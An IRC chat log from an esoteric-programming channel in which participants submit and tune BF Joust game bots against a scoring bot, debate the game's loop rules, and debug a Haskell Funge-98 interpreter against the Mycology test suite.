17:43:52 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
17:44:21 -!- poiuy_qwert has joined.
17:47:15 -!- cal153 has joined.
17:54:41 <Gregor> !bfjoust the_most_obvious_strategy (>)*8(>[-]..)*21
17:55:03 <ais523> Gregor: why ..?
17:55:06 <ais523> and not just .?
17:55:26 <Gregor> ais523: Because I forgot that ] would take a cycle anwyay.
17:55:27 <ais523> or, indeed, just using the ] as your 2-cycle buffer
17:55:48 <ais523> well, if you're going for "most obvious" rather than "simplest", you can leave in the .
17:57:58 <ais523> Gregor: it seems to beat all or at least most of impomatic's defense programs, anyway...
17:58:25 <EgoBot> Score for Gregor_the_most_obvious_strategy: 11.4
17:58:30 <Deewiant> !bfjoust simplest_most_obvious_strategy (>)*8(>[-])*21
17:58:30 <Gregor> Finally
17:58:58 <EgoBot> Score for Deewiant_simplest_most_obvious_strategy: 13.8
18:00:32 <Gregor> !bfjoust furry_furry_bondage_girls -(>+>-)*2(>)*5([(+)*112[+]>)*21
18:00:39 <Gregor> Whoops, that's all wrong.
18:01:04 <Deewiant> simplest ties against Nyarlathotep and beats keke2, I think those were the only differences
18:01:10 <EgoBot> Score for Gregor_furry_furry_bondage_girls: 6.9
18:01:15 <Gregor> !bfjoust furry_furry_bondage_girls -(>+>-)*2(>)*5([(+)*112[+]>]>)*21
18:01:38 <EgoBot> Score for Gregor_furry_furry_bondage_girls: 17.1
18:01:47 <Gregor> !bfjoust furry_furry_bondage_girls -(>+>-)*2(>)*5([(+)*112[+]..>]>)*21
18:02:07 <EgoBot> Score for Gregor_furry_furry_bondage_girls: 15.8
18:02:17 <Gregor> Poor Furry Furry Bondage Girls.
18:02:23 <Gregor> No stupid strategy to their name :P
18:03:09 <Gregor> !bfjoust trapping_turtle -(>+>-)*4>([(+)*128.>]>)*21
18:03:14 <ais523> strangely, I was wondering about (+)*112[+]-style strategies this morning
18:03:20 <ais523> but concluded that they wouldn't work too well
18:03:26 <EgoBot> Score for Gregor_trapping_turtle: 40.3
18:03:45 <Gregor> ais523: They do poorly against enemies that set up uninteresting decoys :P
18:04:19 <ais523> yep, I'm beginning to think that a boring trail of 1s is an advantage for any fast-rush program
18:04:40 <Gregor> !bfjoust crapping_turtle -(>+>-)*4>([(+)*128.>]+>[(+)*128.>]->)*11
18:04:59 <EgoBot> Score for Gregor_crapping_turtle: 41.4
18:05:08 <Gregor> 8-D
18:05:15 <ais523> trails sort-of died out with the introduction of offset clear, but the notion of "disregard 0" that normally guards the offset clears lets them punish large offsets
18:05:32 <ais523> heh, the only change there is an alternating trail, I take it?
18:05:36 <Gregor> Yup
18:05:56 <ais523> thus the name
18:06:01 <Gregor> Yup :P
18:06:18 <Deewiant> !bfjoust monorail (>+>-)*4(>[(-)*9[+]])*21
18:06:33 <ais523> wow, is that all monorail is?
18:06:51 <ais523> simple decoy, offset clear, defense detector?
18:06:52 <Deewiant> It used to be (>+>-)*4>++>([(-)*9[+]]>)*20
18:06:54 <EgoBot> Score for Deewiant_monorail: 36.1
18:07:12 <Deewiant> And is a bit better now that it doesn't suicide on 10-cell tapes
18:07:21 <ais523> indeed
18:07:31 <Deewiant> !bfjoust (>+>-)*4>(>[(-)*4[+.]])*21
18:07:32 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
18:07:32 <ais523> you've pushed careless below all three of my top 3 programs, now
18:07:36 <Deewiant> !bfjoust steamroller (>+>-)*4>(>[(-)*4[+.]])*21
18:08:01 <EgoBot> Score for Deewiant_steamroller: 39.3
18:08:03 <ais523> steamroller's "slow offset clear" beats defenders which are trying to punish c/2 offset clears
18:08:15 <Deewiant> Wait, hang on, I'm still moving too much
18:08:27 <Deewiant> !bfjoust steamroller (>+>-)*4(>[(-)*4[+.]])*21
18:08:51 <EgoBot> Score for Deewiant_steamroller: 44.4
18:09:00 <Deewiant> Wow, that helped more than expected
18:09:01 <Gregor> !bfjoust crapping_turtle -(>+>-)*4>([(+)*128.>](+)*11>[(+)*128.>](-)*11>)*11
18:09:15 <EgoBot> Score for Gregor_crapping_turtle: 38.6
18:09:25 <Gregor> Yeah, thought that wouldn't help :P
18:09:36 <Gregor> !bfjoust crapping_turtle -(>+>-)*4>([(+)*128.>]+>[(+)*128.>]->)*11
18:09:43 <ais523> Deewiant: the difference made by winning on even one more tapelength against the majority of programs is significant on the current hill, the leaderboard's really close
18:09:46 <EgoBot> Score for Gregor_crapping_turtle: 40.6
18:09:54 <Deewiant> ais523: Yes, evidently
18:10:05 <ais523> also, a bizarre side effect of this is that it's pushing defend14 back up the leaderboard
18:10:15 <ais523> presumably because it detects slow offset clears on one polarity
18:10:23 <ais523> it detects far too many other things, too...
18:10:39 <Deewiant> !bfjoust monorail (>+>-)*4(>[(-)*4[+]])*21
18:10:54 <ais523> heh, tweaking constants?
18:11:03 <EgoBot> Score for Deewiant_monorail: 31.4
18:11:12 <Deewiant> Evidently 4 works better for steamroller :-P
18:11:18 <Deewiant> !bfjoust monorail (>+>-)*4(>[(-)*13[+]])*21
18:11:26 <Deewiant> Just wondering if 9 is still approximately the best
18:11:33 <ais523> I think 19 is the next-highest decoy on the current hill
18:11:41 <EgoBot> Score for Deewiant_monorail: 32.4
18:11:47 <Deewiant> !bfjoust monorail (>+>-)*4(>[(-)*20[+]])*21
18:11:51 <ais523> ooh, I have to go home
18:12:16 <EgoBot> Score for Deewiant_monorail: 31.6
18:12:24 <Deewiant> !bfjoust monorail (>+>-)*4(>[(-)*9[+]])*21
18:12:26 <Deewiant> Whatever
18:12:55 <EgoBot> Score for Deewiant_monorail: 37.4
18:13:23 -!- ais523 has quit (Remote host closed the connection).
18:15:16 -!- atrapado has quit (Quit: Abandonando).
18:15:45 <Gregor> !bfjoust crapping_turtle -(>+>-)*4>([(+)*128.+>]+>[(+)*128.->]->)*11
18:16:02 <EgoBot> Score for Gregor_crapping_turtle: 42.0
18:16:07 <Gregor> :)
18:16:23 <Gregor> Of course, all my turtle techniques depend entirely on NOT CHANGING YOUR FLAG X-P
18:16:24 <Deewiant> !bfjoust sloth >(+)*12<((++-)*1024-(--+)*1024)*100(>-)*8(>[+[-]])*21
18:16:44 <Gregor> You could easily drop it to zero just by updating all the top programs to start with a + :P
18:17:11 <EgoBot> Score for Deewiant_sloth: 25.5
18:18:11 <Deewiant> !bfjoust sloth >(+)*12<(+--++-)*65536(>-)*8(>[+[-]])*21
18:19:07 <EgoBot> Score for Deewiant_sloth: 7.7
18:19:27 <Deewiant> !bfjoust sloth >(+)*12<(+--++-)*16384(>-)*8(>[+[-]])*21
18:20:11 <elliott> what are offset claers anyway?
18:20:16 <EgoBot> Score for Deewiant_sloth: 10.5
18:20:21 <Gregor> elliott: (-)*something[+]
18:20:24 <elliott> right
18:20:25 <elliott> *clears
18:20:28 <Gregor> elliott: Just avoids a full wrap-'round
18:20:28 <Deewiant> !bfjoust sloth >(+)*12<(+--++-)*8192(>-)*8(>[+[-]])*21
18:21:15 <EgoBot> Score for Deewiant_sloth: 11.2
18:21:33 <Deewiant> !bfjoust sloth >(+)*12<(++----+)*8192(>-)*8(>[+[-]])*21
18:22:22 <EgoBot> Score for Deewiant_sloth: 23.8
18:22:41 <Deewiant> !bfjoust sloth >(+)*12<(++----+)*8192(>)*8(>[+[-]])*21
18:23:13 <oerjan> <fizzie> Isn't 'e' just Spivak, anyway? [...] <-- yes agora pronouns are spivak or a slight variation thereof (i vaguely recall something about ey vs. e)
18:23:32 <EgoBot> Score for Deewiant_sloth: 23.8
18:23:46 <Gregor> !bfjoust flapping_turtle (-)*127(>)*9([(+)*128.+>]+>[(+)*128.->]->)*11
18:24:02 <EgoBot> Score for Gregor_flapping_turtle: 35.8
18:24:14 <Deewiant> !bfjoust sloth >(+)*12<(++----+)*8192(>)*8(>[+[-.]])*21
18:25:01 <EgoBot> Score for Deewiant_sloth: 33.8
18:25:37 <Deewiant> !bfjoust sloth >(+)*12<(++----+)*8192(>)*8(>[(+)*4[-.]])*21
18:26:16 <EgoBot> Score for Deewiant_sloth: 34.5
18:26:44 <Deewiant> !bfjoust sloth >(+)*12<(++----+)*8192(>)*8(>[(+)*9[-.]])*21
18:27:30 <EgoBot> Score for Deewiant_sloth: 34.5
18:27:47 <Ilari> The amount of address space APNIC would get from ERX blocks seems to be about 26 647 552 (1.59 blocks).
18:27:48 <Deewiant> !bfjoust sloth >(+)*12<(++----+)*8192(>)*8(>[(+)*4[-.]])*21
18:28:33 <EgoBot> Score for Deewiant_sloth: 34.5
18:29:07 <elliott> !bfjoust poop_machine (>+)*9([-]>(+)*10)*5([-]>(+)*50)*5([-]>(+)*128)*5
18:29:37 <EgoBot> Score for elliott_poop_machine: 4.4
18:30:01 <elliott> !bfjoust
18:30:01 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
18:30:12 <Deewiant> elliott: Fixed FILE, then?
18:30:18 -!- asiekierka has quit (Read error: Operation timed out).
18:30:25 <elliott> Deewiant: No; I think your FILE test might be using o.
18:30:37 <elliott> In text mode.
18:30:38 <elliott> :-P
18:30:42 -!- augur has joined.
18:30:53 <Deewiant> elliott: You realize that's easy to verify either with ccbi -t or putting something like 'error "WTF"' in your o
18:31:09 <elliott> Deewiant: I don't *really* think that.
18:31:20 <elliott> I just am utterly ununderstanding of why this would happen.
18:34:19 -!- copumpkin has changed nick to auger.
18:35:17 <Deewiant> elliott: Mayhap your W does something completely incorrect
18:35:29 <elliott> Deewiant: Plausible.
18:35:40 <elliott> ioReflect . B.hPut handle $
18:35:40 <elliott> rectangleToByteString fs buffer (buffer + (bytes,0))
18:35:40 <elliott> ioReflect $ hFlush handle
18:35:48 <elliott> rectangleToByteString works fine.
18:35:53 <elliott> (since Mycology's o tests it).
18:35:55 <elliott> That is of course binary mode.
18:36:00 <elliott> So the spaces at the end of the buffer gets printed out.
18:36:07 <elliott> Also it might add an additional \n.
18:36:29 <elliott> rectangleToByteString :: FungeSpace -> Vector -> Vector -> ByteString
18:36:29 <elliott> rectangleToByteString fs (ox,oy) (sx,sy) = fst $ B.unfoldrN (fromIntegral ((sx*sy)+sy)) byte (0,0)
18:36:29 <elliott> where byte pos@(x,y)
18:36:29 <elliott> | x >= sx = Just (lf, (0,y+1))
18:36:29 <elliott> | y >= sy = Nothing
18:36:30 <elliott> | otherwise = Just (fromIntegral (fs !@ pos), (x+1,y))
18:36:37 <elliott> Looks fine to me *shrug*
18:36:43 <elliott> Deewiant: Unless I'm really misunderstanding this whole buffer thing.
18:36:43 <Deewiant> elliott: (0,0) ?
18:36:56 <Deewiant> Methinks you want to use (ox,oy)
18:37:08 <Deewiant> And compile with -Wall more often
18:37:09 <elliott> Deewiant: You, uh, really need to test that in your o tests.
18:37:19 <elliott> Yes, I've been meaning to turn on the -Walls. :p
18:38:02 <Deewiant> elliott: The text-mode thing uses something other than (0,0)
18:38:11 <elliott> Heh
18:38:28 <elliott> Shiro/Value.hs:7:9:
18:38:28 <elliott> Warning: orphan instance: instance (Num a, Num b) => Num (a, b)
18:38:32 <elliott> What a silley warning.
18:38:54 <Deewiant> -fno-warn-orphans
18:39:28 <elliott> I'd prefer something that stops it warning on "import Data.Map (Map); import qualified Data.Map as Map" :-P But without ignoring all redundant imports.
18:40:02 <elliott> Shiro/Fingerprints/ROMA.hs:22:2:
18:40:02 <elliott> Warning: Pattern match(es) are non-exhaustive
18:40:02 <elliott> In the definition of `fpRun':
18:40:02 <elliott> Patterns not matched:
18:40:02 <elliott> _ A
18:40:03 <elliott> _ B
18:40:05 <elliott> _ E
18:40:07 <elliott> _ F
18:40:10 <auger> elliott: edwardk is making new awesomesauce lenses
18:40:11 <elliott> ...
18:40:13 <elliott> Yeaaah, -Wall is maybe a bit much for this.
18:40:17 <auger> elliott: so you'll have awesomesauce soon
18:40:21 <elliott> auger: has he stolen my idea
18:40:33 <auger> elliott: not really
18:40:42 <elliott> auger: my lawyers will be in touch
18:40:47 <auger> he's using math mumbojumbo
18:40:50 <auger> lots of it
18:40:56 <elliott> auger: he's edwardk, how is that surprising
18:41:03 <auger> it isn't!
18:41:08 <auger> I see a lot of it
18:41:11 -!- auger has changed nick to copumpkin.
18:41:47 <elliott> Deewiant: Welp, it's more working now.
18:41:48 <elliott> Although
18:41:49 <elliott> *** [Reflecting on IO exception: mycotemp.tmp: hSeek: invalid argument (Invalid argument)]
18:41:49 <elliott> BAD: 107-S reflected
18:41:52 <Deewiant> elliott: -fno-warn-incomplete-patterns
18:41:53 <Deewiant> I think
18:42:23 <elliott> I only want to not warn incomplete patterns for fpRun :-P
18:42:35 <Deewiant> elliott: {-# OPTIONS_GHC #-} etc.
18:42:52 <elliott> Yes yes yes
18:43:01 <elliott> Theorising that hSeek doesn't like to be sought backwards.
18:43:37 <elliott> Nope, that works
18:43:46 <elliott> Aha
18:43:55 <elliott> Deewiant: Do you seek past the beginning of the file by any chance?
18:43:57 <elliott> By doing 107-S.
18:44:17 <fizzie> elliott: import qualified Data.Map as Map; type Map = Map.Map? Though that's a bit silly too.
18:44:25 <elliott> I wonder if perhaps writing to a Handle doesn't advance it.
18:44:27 <Deewiant> Maybe, I can't remember
18:44:41 <elliott> fizzie: The way I do it is the way everyone and the documentation does it :P
18:44:45 <Deewiant> elliott: It wrote bar\nbaz, no? So 7 back should be fine
18:44:53 <elliott> Deewiant: Well, in theory.
18:45:05 <fizzie> elliott: Yes, I noticed the Data.Map documentation says to do it too when double-checking.
18:45:06 <Gregor> !bfjoust flapping_turtle <
18:45:19 <EgoBot> Score for Gregor_flapping_turtle: 0.0
18:45:23 <Gregor> !bfjoust trapping_turtle <
18:45:25 <copumpkin> fapping turtle?
18:45:31 <copumpkin> they make funny noises
18:45:37 <EgoBot> Score for Gregor_trapping_turtle: 0.0
18:45:58 -!- hiato has quit (Quit: underflow).
18:45:59 <Gregor> Thanks to cheating, crapping_turtle now has a 43.3 :P
18:46:06 <elliott> Not in scope: `recTangleToByteString'
18:46:09 <elliott> wreckTangleToByteString
18:46:41 <oerjan> <elliott> I'd prefer something that stops it warning on "import Data.Map (Map); import qualified Data.Map as Map" :-P But without ignoring all redundant imports. <-- what, isn't that giving a warning against a _recommended practice_?
18:46:50 <elliott> Shiro/Fingerprints/FILE.hs:81:16:
18:46:50 <elliott> Warning: Pattern match(es) are non-exhaustive
18:46:50 <elliott> In a case alternative:
18:46:50 <elliott> Patterns not matched: #x with #x `notElem` [0#, 1#, 2#]
18:46:58 <elliott> 0#? Niiiice.
18:46:59 <elliott> oerjan: YEP
18:47:18 <elliott> oerjan: It basically says "hurr, dat's redundant".
18:47:21 <Deewiant> elliott: I've filed a report about that particular diagnostic
18:47:28 <Deewiant> Too many octothorpes
18:47:32 <elliott> Deewiant: UNBOXING POWAH
18:47:37 <elliott> Deewiant: I imagine it runs at a later stage or whatever
18:47:56 <elliott> GHC's error messages are pretty bad anyway
18:48:33 <elliott> ("OKWRITING","",0)
18:48:33 <elliott> ("WEREAT",0)
18:48:33 <elliott> Wrote bar\nbaz with W.
18:48:40 <elliott> I think I re-broke rectangleToByteString.
18:48:48 <elliott> Aha
18:50:04 <elliott> :t unfoldr
18:50:04 <lambdabot> forall b a. (b -> Maybe (a, b)) -> b -> [a]
18:50:07 <elliott> :t Data.ByteString.unfoldr
18:50:08 <lambdabot> forall a. (a -> Maybe (Word8, a)) -> a -> BSC.ByteString
18:50:10 <Gregor> !bfjoust fapping_turtle -(>+>-)*4>([(+)*128.+>]+>[(+)*128.->]->)*5(+)*128>([(+)*128.+>]+>[(+)*128.->]->)*5
18:50:11 <elliott> :t Data.ByteString.unfoldrN
18:50:12 <lambdabot> forall a. Int -> (a -> Maybe (Word8, a)) -> a -> (BSC.ByteString, Maybe a)
18:50:24 <EgoBot> Score for Gregor_fapping_turtle: 40.4
18:51:00 <elliott> ("OKWRITING","",0)
18:51:00 <elliott> ("WEREAT",0)
18:51:00 <elliott> Wrote bar\nbaz with W.
18:51:03 <elliott> Why is it even doing that
18:52:08 <Gregor> !bfjoust fapping_turtle -(>(+)*128>(-)*128)*15
18:52:26 <EgoBot> Score for Gregor_fapping_turtle: 7.0
18:52:27 <elliott> rectangleToByteString :: FungeSpace -> Vector -> Vector -> ByteString
18:52:27 <elliott> rectangleToByteString fs offset (sx,sy) = {-fst $ -}B.unfoldr{-N (fromIntegral ((sx*sy)+sy))-} byte (0,0) --(ox,oy)
18:52:27 <elliott> where byte pos@(x,y)
18:52:27 <elliott> | x >= sx = Just (lf, (0,y+1))
18:52:27 <elliott> | y >= sy = Nothing
18:52:29 <elliott> | otherwise = Just (fromIntegral (fs !@ (offset + pos)), (x+1,y))
18:52:31 <elliott> It's totes perfect
18:52:53 <elliott> Oh, I think that chops stuff off >_>
18:53:14 <elliott> Woot, I broke o
18:53:24 <elliott> ("OKWRITING","bar\nbazv\n",9,"WHICHISFROM",(5,490),"BYTES",7)
18:53:24 <elliott> ("WEREAT",9)
18:53:24 <elliott> Wrote bar\nbaz with W.
18:53:28 <elliott> BAZV
18:53:38 <elliott> And extraneous \n >_<
18:53:50 <elliott> Wait, how did that even happen...
18:53:56 <elliott> ...wait.
18:54:47 <elliott> ("OKWRITING","",0,"WHICHISFROM",(5,490),"BYTES",7)
18:54:47 <elliott> ("WEREAT",0)
18:54:48 <elliott> Bizarre.
18:55:02 <elliott> Ohh, of course.
18:57:08 <elliott> ("OKWRITING","bar\nbaz",7,"WHICHISFROM",(5,490),"BYTES",7)
18:57:09 <oerjan> !bfjoust
18:57:10 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
18:57:10 <elliott> *Finally*.
18:57:16 <elliott> BAD: G didn't read 'baz'
18:57:17 <elliott> BAD: couldn't close file with C
18:57:22 <elliott> Deewiant: >_<, I can't use hGetLine
18:57:27 <elliott> Because it strips the trailing newline if there was one
18:57:53 <Deewiant> :-)
18:59:16 <elliott> Deewiant: You just want to make us implementers suffer.
18:59:23 <elliott> Didn't you call FILE easy busywork?
18:59:25 <Deewiant> It's not my fingerprint
18:59:38 <Deewiant> It would've been easy if you'd've used the FFI
18:59:59 <elliott> Deewiant: Sure, but that's so ugly.
19:02:02 <elliott> > ((7*1)+7)
19:02:03 <lambdabot> 14
19:02:10 <elliott> ...why did I type that.
19:02:22 -!- hagb4rd has quit (Quit: hagb4rd).
19:02:58 -!- hagb4rd has joined.
19:03:20 <elliott> I think that mergeByteString could be a lot faster than it is now.
19:06:30 <elliott> Deewiant: Does Mycology check that its bounds are correct before shrinking?
19:06:43 <elliott> I have a new, faster mergeByteString that bypasses the bounds code, but I don't know if it gets them right. :p
19:06:45 <Deewiant> That's done in the y test
19:06:57 <elliott> That the greatest point, relative to that point, is ( 184 912 )
19:06:57 <elliott> BAD: should have been ( 183 911 )
19:07:00 <elliott> At least it's just an off-by-one
19:07:27 <elliott> Deewiant: Is that before it expands its fungespace?
19:07:46 <Deewiant> p has been tested before that
19:07:52 <Deewiant> And to (-3,-2), IIRC.
19:07:55 <elliott> Right.
19:07:56 <elliott> But not greater.
19:08:03 <elliott> Seems to work and it's certainly faster.
19:08:40 <elliott> $ time ~/Code/shiro/shiro mycology.b98 >/dev/null 2>&1
19:08:40 <elliott> real0m8.785s
19:08:40 <elliott> user0m8.730s
19:08:40 <elliott> sys0m0.050s
19:08:42 <elliott> Yay.
19:08:50 <elliott> Once I have population counts in there it'll be more like 2 seconds.
19:09:48 <elliott> $ time ~/Code/shiro/shiro mycology.b98 >/dev/null 2>&1
19:09:48 <elliott> real0m7.800s
19:09:49 <elliott> user0m7.670s
19:09:49 <elliott> sys0m0.110s
19:09:51 <elliott> Hooray for strictness annotations.
19:12:14 <Gregor> Dang it, why is this ais jerk sweeping the top three.
19:12:23 <quintopia> :P
19:12:33 <quintopia> did he add another one today?
19:12:43 <quintopia> !bfjoust
19:12:43 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
19:12:46 <Gregor> decoybooster[,2]
19:12:51 <elliott> quintopia: yes
19:13:01 <elliott> Gregor: btw i think a change of the rules _might_ be in order i've been having thoughts
19:13:06 <elliott> Gregor: the top competitors are very loop-light
19:13:14 <elliott> Gregor: I think the 2-cycle loops take too long
19:13:21 <elliott> making loops a very unattractive option
19:13:27 <elliott> and i think this might be decreasing the range of possible strategies
19:14:12 <Gregor> That's a pretty severe rule change.
19:14:12 <quintopia> naw
19:14:35 <quintopia> that would change the entire game
19:14:57 <elliott> quintopia: so? ais has changed it once before
19:15:01 <elliott> I'm not sure how loops should be balanced
19:15:04 <elliott> but they're almost useless now
19:15:15 <elliott> especially since the cycle-count is low enough that you can remove like 70% of loops just with a long repeat
19:15:20 <quintopia> always were, if you think about it
19:15:36 <quintopia> well
19:15:48 <elliott> well, yes
19:15:51 <elliott> quintopia: but actually
19:15:56 <elliott> it was ais' changes that made loops take two cycles
19:16:00 <elliott> the previous system was broken
19:16:03 <elliott> because [] was a real tripwire
19:16:11 <elliott> but this system seems to strongly discourage loops
19:17:05 <quintopia> [] still only takes one cycle per iteration according to ais
19:17:24 <elliott> yes, but it also takes one to enter
19:17:58 <quintopia> so you want [[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[+ to take one iteration to do the +?
19:18:41 <elliott> quintopia: No.
19:18:42 <impomatic> So how many cycles does [-] on 10 take? 21 or 30?
19:18:55 <elliott> impomatic: [-]-]-]-]-]-]-]... is the trace
19:18:57 <elliott> give or take some -]s
19:19:02 <elliott> quintopia: As I said, I don't know what the solution is.
19:19:20 <quintopia> that asshole. he added those programs specifically to beat me :P
19:19:45 <quintopia> elliott: leave it, i say.
19:20:02 <elliott> quintopia: I'll say it again when someone who might actually think about it (i.e. ais) is on :P
19:21:24 <quintopia> maybe you should say it again when *you've* thought about it enough to suggest an actual solution?
19:21:47 <elliott> Hey guys, this movie sucks. <quintopia> SHUT THE FUCK UP UNTIL YOU MAKE A BETTER MOVIE
19:22:38 <quintopia> more like SHUT THE FUCK UNTIL YOU CAN ARTICULATE EXACTLY WHAT IT IS THAT IS WRONG WITH THIS MOVIE
19:23:32 <quintopia> moreover, what if the movie doesn't suck and it's all you?
19:23:54 <elliott> quintopia: the only person more defensive of BF Joust's rules than Gregor
19:24:24 <Gregor> I'm not defensive of BF Joust's rules at all, I don't give one flying fuck, I just don't want to change it because that's not fair to existing programs.
19:26:12 <elliott> Gregor: T'was a joke
19:27:12 <quintopia> elliott: more seriously though, i am interested in this potential rule change. i just really don't get what you want to change and you are so vague that i can't see myself anything that might help.
19:27:12 <Gregor> !bfjoust return_of_shortsword (>++>--)*2(>)*6([-[+]]>)*20
19:27:34 <elliott> quintopia: I want to change loops to make them a nicer proposition. beyond that i don't know
19:27:39 <EgoBot> Score for Gregor_return_of_shortsword: 23.3
19:27:46 <Gregor> lawl
19:28:23 <elliott> !bfjoust defend0 (+-)*100000
19:28:26 <Ilari> As far as I can tell, the amount of IPv4 addresses available to APNIC to allocate under normal rules (according to latest data) is 76 480 512 (4.56 blocks).
19:28:52 <elliott> !bfjoust
19:28:52 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
19:29:04 <elliott> Gregor_crapping_turtle.bfjoust vs elliott_defend0.bfjoust:
19:29:04 <elliott> ><><><><><><><><><><> <><><><><><><><><><>< <><><><><><><><><><>< ><><><><><><><><><><>
19:29:04 <elliott> Tie
19:29:10 <Gregor> lol
19:29:17 <elliott> ais523_defend10.bfjoust vs elliott_defend0.bfjoust:
19:29:17 <elliott> XXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXX
19:29:17 <elliott> Tie
19:29:17 <elliott> ais523_defend12.bfjoust vs elliott_defend0.bfjoust:
19:29:17 <elliott> XXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXX
19:29:18 <elliott> Tie
19:29:21 <EgoBot> Score for elliott_defend0: 12.6
19:29:24 <elliott> X-D
19:29:25 <elliott> Holy shit.
19:29:25 <Gregor> !bfjoust dirk (>++>--)*2(>)*5((-)*9[-[+]]>)*20
19:29:29 <elliott> 12.6 for +-+-+-...
19:29:32 <Gregor> Well of course defend-v-defend is a tie.
19:29:48 <Gregor> 12.6 is still the lowest legit score on the hill :P
19:30:10 <Gregor> (fapping_turtle I replaced with a crapchute 'cuz I wanted it off the hill)
19:30:10 <EgoBot> Score for Gregor_dirk: 15.1
19:30:23 <quintopia> it dirked very gently indeed
19:30:43 <Gregor> !bfjoust dirk (>++>--)*2(>)*6([(-)*9[+]]>)*20
19:30:51 <elliott> !bfjoust tourettes (+-+---+-++++----+++-+-----+++-+-++--++++---+++-+-+)*2000
19:31:02 <Deewiant> Gregor: That's like 2 commands different to monorail
19:31:22 <quintopia> does monorail leave a trail?
19:31:23 <Gregor> Deewiant: ORLY? I've never actually looked at monorail, didn't realize it was shortsword-derived :P
19:31:26 <elliott> That's violating copyright don'tchamaknow
19:31:33 <EgoBot> Score for Gregor_dirk: 23.4
19:31:36 <Deewiant> I don't know whether it's shortsword-derived
19:31:59 <elliott> ttes.bfjoust:
19:31:59 <elliott> >>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>>>>>>>>
19:31:59 <elliott> elliott_tourettes.bfjoust wins
19:32:00 <elliott> I WIN AGAINST TTES
19:32:05 <Deewiant> But make the 2 a 4 and the 6 a 1 and you have exactly monorail
19:32:06 <EgoBot> Score for elliott_tourettes: 17.6
19:32:08 <elliott> X-D
19:32:48 <elliott> !bfjoust barf (++..<>..>+>>>.+-+>>>.-+..++<++.><>...<+->.<>+->>+.)*2000
19:33:01 <EgoBot> Score for elliott_barf: 0.0
19:33:02 <quintopia> wt
19:33:05 <elliott> X-D
19:33:06 <quintopia> that's a suicide
19:33:11 <elliott> $ cat /dev/urandom | tr -cd '+\-<>.' | head -c 50
19:33:11 <Deewiant> elliott: < at the start is a bit pointless
19:33:11 <elliott> ++..<>..>+>>>.+-+>>>.-+..++<++.><>...<+->.<>+->>+.
19:33:19 <quintopia> lul
19:33:20 <Gregor> lo
19:33:21 <Gregor> *lol
19:34:01 <elliott> !bfjoust farf (-->[.]-[<-.+.]-[[-..>]>++-.]+--[>>][+]>->)*2000
19:34:05 -!- augur has quit (Ping timeout: 240 seconds).
19:34:18 <EgoBot> Score for elliott_farf: 0.0
19:34:21 <elliott> X-D
19:34:26 <elliott> Impressively bad.
19:34:50 <Deewiant> elliott: [<-.+.] is another suicide
19:34:57 <Gregor> !bfjoust vomitorium (]-++>--.+[].-+]][]->-]]]>>[.>+.]+[[.[>[]++-[->.>[>>[+-[][[>>--.-[]>[[>+>-[++.>[--.-..-.[+.->+.+]-][.>].-->+-].-[[]>.>.--.[[+].>[+..>+[+++][>[>]-.+-+-[)*100
19:34:58 <elliott> !bfjoust farf (-->[.]-[>-.+.]-[[-..>]>++-.]+--[>>][+]>->)*2000
19:35:03 <elliott> Gregor: ...that is beyond terrible.
19:35:10 <Gregor> :P
19:35:16 <elliott> I predict 61.3
19:35:21 <Gregor> X-D
19:35:27 <elliott> Gregor_crapping_turtle.bfjoust vs Gregor_vomitorium.bfjoust:
19:35:27 <elliott> >><><><><><><><><><>> >>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>>>>>>>> >><><><><><><><><><>>
19:35:27 <elliott> Gregor_vomitorium.bfjoust wins
19:35:29 <elliott> crapping_turtle: SO BAD
19:35:35 <Gregor> Yesssssssssssssssssssssssssssssssssssss
19:35:40 <elliott> Gregor_snapping_turtle.bfjoust vs Gregor_vomitorium.bfjoust:
19:35:41 <elliott> >>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>>>>>>>>
19:35:41 <elliott> Gregor_vomitorium.bfjoust wins
19:35:45 <elliott> All your programs are terrible XD
19:35:45 <Gregor> Yesssssssssssssssssssssssssssssssssssss
19:35:47 <elliott> Gregor_vomitorium.bfjoust vs Vorpal_shudder.bfjoust:
19:35:47 <elliott> XXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXX
19:35:47 <elliott> Tie
19:35:55 <elliott> "fjoust wins"
19:35:55 <elliott> :wut:
19:36:07 <Gregor> elliott: It's mixing output from two runs >_>
19:36:09 <elliott> Bahahaha, vomitorium might actually get a few points
19:36:36 <EgoBot> Score for Gregor_vomitorium: 5.7
19:36:36 <EgoBot> Score for elliott_farf: 0.0
19:36:42 <elliott> X-DD
19:36:53 <Gregor> lawl
19:37:01 <elliott> !bfjoust SHEER_UNADULTERED_BEAUTY [.]>.>[><<.<][>+<..>[>+->+-]<.[.-<.+-<<>].>-+<+--]>+[+<-+[>+-[<<+++]]+-]]<[->>>-]+.[..[<[+++[[.+>[[<.-]]<][<]-[[-<<+..>>+<.<><--
19:37:10 <elliott> Wow it's going fast X-D
19:37:21 <elliott> Vorpal_shudder.bfjoust vs elliott_SHEER_UNADULTERED_BEAUTY.bfjoust:
19:37:22 <elliott> XXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXX
19:37:22 <elliott> Tie
19:37:27 <elliott> WOW
